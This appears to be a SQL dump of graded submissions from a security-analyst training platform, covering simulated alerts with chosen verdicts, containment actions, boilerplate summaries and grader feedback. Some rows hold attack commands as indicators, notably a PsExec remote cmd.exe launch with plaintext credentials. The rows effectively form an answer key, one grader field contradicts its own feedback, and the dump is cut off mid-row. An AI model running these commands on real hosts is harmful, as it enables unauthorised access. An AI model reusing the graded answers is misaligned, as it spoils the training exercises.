(477, 225, 1453, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"ip-10.0.0.15\",\"hash-e99a18c4\",\"artifact_3\"],\"selectedActions\":[\"collect_forensics\",\"escalate\",\"reset_credentials\",\"block_hash\",\"isolate_host\",\"block_ip\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/9/2026, 4:50:37 PM\\nALERT: Credential Harvesting via Password Manager Exploit [OP: Operation CryptoCore]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (4)\\n----------------\\n- [IP] 203.0.113.45\\n- [IP] 10.0.0.15\\n- [HASH] e99a18c428cb38d5f260853678922e03\\n- [FILENAME] password_manager_exploit_v2.dll\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-09T05:50:40.382Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-09 05:49:52', '2026-03-09 05:50:40', 0, NULL),
(478, 225, 1454, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-10.5.3.25\",\"ip-192.168.14.45\",\"ip-203.0.113.15\",\"hash-3f8a5dc7\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/9/2026, 4:51:34 PM\\nALERT: Lateral Movement Detected [OP: Operation CryptoCore]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (6)\\n----------------\\n- [IP] 10.5.3.25\\n- [IP] 192.168.14.45\\n- [IP] 203.0.113.15\\n- [HASH] 3f8a5dc7c9b1e9e3e4d6a8b5f1a2c3d4\\n- [USERNAME] jdoe\\n- [FILENAME] malicious_payload.exe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-09T05:51:41.090Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-09 05:50:40', '2026-03-09 05:51:41', 0, NULL),
(479, 225, 1455, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"artifact_1\",\"artifact_2\",\"artifact_3\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/9/2026, 4:52:25 PM\\nALERT: Data Exfiltration Attempt [OP: Operation CryptoCore]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 192.168.1.45\\n- [IP] 185.93.1.23\\n- [USERNAME] jane.doe\\n- [HASH] b1946ac92492d2347c6235b4d2611184\\n- [FILENAME] financial_report_Q3.xlsx\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-09T05:52:31.894Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-09 05:51:41', '2026-03-09 05:52:31', 0, NULL),
(480, 225, 1366, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.10\",\"artifact_1\",\"artifact_2\",\"artifact_3\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/9/2026, 4:55:17 PM\\nALERT: Suspicious LinkedIn Connection Request [OP: Operation Dream Job]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (4)\\n----------------\\n- [IP] 192.168.1.10\\n- [EMAIL] john.doe@toptechtalent.com\\n- [IP] 203.0.113.45\\n- [URL] http://maliciouslink.com/joboffer\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-09T05:55:22.270Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', '2026-03-09 09:02:14', '2026-03-09 05:54:14', '2026-03-09 05:55:22', 0, NULL),
(481, 225, 1367, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-03-09 05:55:22', '2026-03-09 05:55:22', 0, NULL),
(482, 266, 268, 'graded', 93, 'Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (3/4)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.100\",\"ip-10.0.0.15\",\"ip-203.0.113.45\",\"artifact_1\",\"artifact_3\"],\"selectedActions\":[\"isolate_host\",\"block_hash\",\"block_ip\",\"collect_forensics\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 15/03/2026, 20:14:10\\nALERT: Phishing Email Detected [OP: Operation Iron Grid]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 192.168.1.100\\n- [IP] 10.0.0.15\\n- [IP] 203.0.113.45\\n- [EMAIL] abc123@example.com\\n- [HASH] 3a7bd3e2360f1edb0f3b4e5c7b6e9d5a\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (4)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Collect Forensics\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-15T14:44:25.641Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (3/4)\",\"missed_items\":[\"escalate\"],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-09 12:23:18', '2026-03-15 14:44:25', 0, NULL),
(483, 55, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-03-09 12:47:22', '2026-03-09 12:47:22', 0, NULL),
(484, 266, 1431, 'graded', 90, 'Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (2/3)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.10\",\"hash-d41d8cd9\",\"cmd-1\"],\"selectedActions\":[\"isolate_host\",\"collect_forensics\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 09/03/2026, 18:56:28\\nALERT: Data Exfiltration via USB Device Detected\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (3)\\n----------------\\n- [IP] 192.168.1.10\\n- [HASH] d41d8cd98f00b204e9800998ecf8427e\\n- [COMMAND] copy C:\\\\Sensitive\\\\report.pdf E:\\\\\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (2)\\n------------------------------\\n- Isolate Host\\n- Collect Forensics\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-09T13:26:47.804Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (2/3)\",\"missed_items\":[\"reset_credentials\"],\"strengths\":\"Solid analysis\"}', '2026-03-09 16:26:33', '2026-03-09 13:19:33', '2026-03-09 13:26:47', 0, NULL),
(485, 266, 1439, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"artifact_1\",\"ip-192.168.1.55\"],\"selectedActions\":[\"isolate_host\",\"reset_credentials\",\"collect_forensics\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 09/03/2026, 19:11:51\\nALERT: Possible Insider Data Leak Detected\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (2)\\n----------------\\n- [IP] 192.168.1.55\\n- [EMAIL] personalemail@example.com\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (3)\\n------------------------------\\n- Isolate Host\\n- Reset Credentials\\n- Collect Forensics\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-09T13:42:00.340Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', '2026-03-09 16:40:20', '2026-03-09 13:32:20', '2026-03-09 13:42:00', 0, NULL),
(486, 232, 738, 'graded', 100, 'Verdict is correct (+40). Artifact analysis completed (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.0.2.25\",\"ip-192.168.1.15\",\"artifact_1\"],\"selectedActions\":[\"close_alert\",\"escalate\"],\"verdict\":\"false_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/9/2026, 11:49:30 PM\\nALERT: Suspicious Email Flagged as Possible False Positive\\nVERDICT: FALSE POSITIVE\\n\\nKEY FINDINGS (3)\\n----------------\\n- [IP] 192.0.2.25\\n- [IP] 192.168.1.15\\n- [EMAIL] newsletter@trustedsource.com\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (2)\\n------------------------------\\n- Escalate to Tier 3\\n- Close (No Action)\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-09T18:19:31.760Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). Artifact analysis completed (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', '2026-03-09 21:25:10', '2026-03-09 18:18:10', '2026-03-09 18:19:31', 0, NULL),
(487, 232, 938, 'graded', 100, 'Verdict is correct (+40). Artifact analysis completed (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.5.15\",\"ip-192.168.5.20\",\"cmd-1\"],\"selectedActions\":[\"close_alert\",\"escalate\",\"collect_forensics\"],\"verdict\":\"false_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/9/2026, 11:52:16 PM\\nALERT: Failed Process Execution from Internal Script\\nVERDICT: FALSE POSITIVE\\n\\nKEY FINDINGS (3)\\n----------------\\n- [IP] 192.168.5.15\\n- [IP] 192.168.5.20\\n- [COMMAND] powershell.exe -ExecutionPolicy Bypass -File C:\\\\scripts\\\\update.ps1\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (3)\\n------------------------------\\n- Collect Forensics\\n- Escalate to Tier 3\\n- Close (No Action)\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-09T18:22:17.089Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). Artifact analysis completed (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', '2026-03-09 21:24:54', '2026-03-09 18:19:54', '2026-03-09 18:22:17', 0, NULL),
(488, 232, 1310, 'graded', 100, 'Verdict is correct (+40). Artifact analysis completed (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.5.25\",\"artifact_2\"],\"selectedActions\":[\"close_alert\",\"collect_forensics\",\"escalate\"],\"verdict\":\"false_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/9/2026, 11:53:28 PM\\nALERT: False Positive: Legitimate Cloud Configuration Change\\nVERDICT: FALSE POSITIVE\\n\\nKEY FINDINGS (2)\\n----------------\\n- [IP] 192.168.5.25\\n- [USERNAME] admin_user\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (3)\\n------------------------------\\n- Collect Forensics\\n- Escalate to Tier 3\\n- Close (No Action)\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-09T18:23:29.698Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). Artifact analysis completed (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', '2026-03-09 21:31:37', '2026-03-09 18:22:37', '2026-03-09 18:23:29', 0, NULL),
(489, 225, 681, 'graded', 60, 'Incorrect verdict. Expected false_positive, got true_positive. Artifact analysis completed (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.0.2.10\",\"ip-192.168.5.10\",\"domain-http://legit\",\"artifact_1\"],\"selectedActions\":[\"block_ip\",\"reset_credentials\",\"isolate_host\",\"close_alert\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/10/2026, 10:40:37 AM\\nALERT: Phishing Email Detected with Clean URL\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (4)\\n----------------\\n- [IP] 192.0.2.10\\n- [IP] 192.168.5.10\\n- [DOMAIN] http://legitimate-site.com\\n- [EMAIL] info@securemail.com\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (4)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Reset Credentials\\n- Close (No Action)\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-09T23:40:49.901Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Incorrect verdict. Expected false_positive, got true_positive. Artifact analysis completed (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Needs improvement\"}', '2026-03-10 02:39:25', '2026-03-09 23:30:25', '2026-03-09 23:40:49', 0, NULL),
(490, 225, 611, 'graded', 60, 'Verdict is correct (+40). Missed critical artifacts: command psexec.exe \\\\192.168.1.25 -u admin -p password cmd.exe (0/1). Missed response actions (2/3)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.15\",\"ip-192.168.1.25\",\"cmd-1\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"escalate\",\"collect_forensics\",\"block_hash\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/10/2026, 11:01:23 AM\\nALERT: Internal Network Lateral Movement via PSExec\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (3)\\n----------------\\n- [IP] 192.168.1.15\\n- [IP] 192.168.1.25\\n- [COMMAND] psexec.exe \\\\\\\\192.168.1.25 -u admin -p password cmd.exe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-10T00:01:36.602Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). Missed critical artifacts: command psexec.exe \\\\\\\\192.168.1.25 -u admin -p password cmd.exe (0/1). Missed response actions (2/3)\",\"missed_items\":[\"command: psexec.exe \\\\\\\\192.168.1.25 -u admin -p password cmd.exe\",\"close_alert\"],\"strengths\":\"Needs improvement\"}', '2026-03-10 03:05:34', '2026-03-09 23:59:34', '2026-03-10 00:01:36', 0, NULL),
(491, 225, 1372, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"artifact_2\"],\"selectedActions\":[\"block_ip\",\"isolate_host\",\"reset_credentials\",\"close_alert\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/11/2026, 9:16:27 AM\\nALERT: Brute Force Attack Detected from Malicious IP\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (2)\\n----------------\\n- [IP] 203.0.113.45\\n- [USERNAME] jdoe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (4)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Reset Credentials\\n- Close (No Action)\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-10T22:16:26.465Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', '2026-03-10 03:06:54', '2026-03-10 00:01:54', '2026-03-10 22:16:26', 0, NULL),
(492, 34, 1461, 'investigating', NULL, NULL, NULL, NULL, '2026-03-10 03:39:47', '2026-03-10 00:31:47', '2026-03-10 00:31:47', 0, NULL),
(493, 271, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-03-10 05:08:11', '2026-03-10 05:08:11', 0, NULL),
(494, 251, 269, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.45\",\"ip-203.0.113.50\",\"hash-d41d8cd9\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\",\"block_ip\",\"escalate\",\"reset_credentials\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/10/2026, 10:55:21 AM\\nALERT: BlackEnergy Malware Execution [OP: Operation Iron Grid]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 192.168.1.45\\n- [IP] 203.0.113.50\\n- [HASH] d41d8cd98f00b204e9800998ecf8427e\\n- [FILENAME] invoice.doc\\n- [USERNAME] jdoe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-10T05:25:26.772Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-10 05:22:50', '2026-03-10 05:25:26', 0, NULL),
(495, 251, 270, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"hash-3fa85f64\",\"artifact_1\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\",\"escalate\",\"block_ip\",\"reset_credentials\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/10/2026, 10:58:28 AM\\nALERT: Persistence Mechanism Established [OP: Operation Iron Grid]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 203.0.113.45\\n- [HASH] 3fa85f64-5717-4562-b3fc-2c963f66afa6\\n- [IP] 10.0.1.15\\n- [FILENAME] C:\\\\Users\\\\compromised_user\\\\AppData\\\\Local\\\\Temp\\\\malicious.exe\\n- [USERNAME] compromised_user\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-10T05:28:29.664Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-10 05:25:26', '2026-03-10 05:28:29', 0, NULL),
(496, 225, 1466, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"ip-192.168.1.105\",\"artifact_3\",\"artifact_4\"],\"selectedActions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\",\"escalate\",\"reset_credentials\",\"block_ip\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/11/2026, 9:18:32 AM\\nALERT: Initial Access via Spear Phishing [OP: Operation Salt Typhoon]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (4)\\n----------------\\n- [IP] 203.0.113.45\\n- [IP] 192.168.1.105\\n- [HASH] b1946ac92492d2347c6235b4d2611184\\n- [DOMAIN] update-portal.example.com\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-10T22:18:34.663Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', '2026-03-11 01:25:25', '2026-03-10 22:17:25', '2026-03-10 22:18:34', 0, NULL),
(497, 225, 1467, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"ip-192.168.1.15\",\"hash-d41d8cd9\",\"artifact_3\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\",\"escalate\",\"reset_credentials\",\"block_ip\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/11/2026, 9:19:52 AM\\nALERT: Execution of Malicious Payload [OP: Operation Salt Typhoon]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 203.0.113.45\\n- [IP] 192.168.1.15\\n- [HASH] d41d8cd98f00b204e9800998ecf8427e\\n- [FILENAME] payload.exe\\n- [USERNAME] jdoe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-10T22:19:55.365Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-10 22:18:34', '2026-03-10 22:19:55', 0, NULL),
(498, 225, 1468, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"ip-10.0.0.5\",\"hash-d41d8cd9\",\"artifact_3\"],\"selectedActions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\",\"escalate\",\"reset_credentials\",\"block_ip\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/11/2026, 9:20:38 AM\\nALERT: Persistence through Backdoor Installation [OP: Operation Salt Typhoon]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (4)\\n----------------\\n- [IP] 203.0.113.45\\n- [IP] 10.0.0.5\\n- [HASH] d41d8cd98f00b204e9800998ecf8427e\\n- [FILENAME] backdoor_installer.exe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-10T22:20:40.202Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-10 22:19:55', '2026-03-10 22:20:40', 0, NULL),
(499, 225, 1469, 'graded', 93, 'Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (3/4)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-10.0.5.12\",\"ip-192.168.1.50\",\"hash-d41d8cd9\",\"domain-CORP\",\"artifact_3\"],\"selectedActions\":[\"isolate_host\",\"reset_credentials\",\"collect_forensics\",\"close_alert\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/11/2026, 9:22:13 AM\\nALERT: Lateral Movement to Wiretap Systems [OP: Operation Salt Typhoon]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 10.0.5.12\\n- [IP] 192.168.1.50\\n- [HASH] d41d8cd98f00b204e9800998ecf8427e\\n- [DOMAIN] CORP\\n- [USERNAME] jdoe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (4)\\n------------------------------\\n- Isolate Host\\n- Reset Credentials\\n- Collect Forensics\\n- Close (No Action)\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-10T22:22:20.030Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct 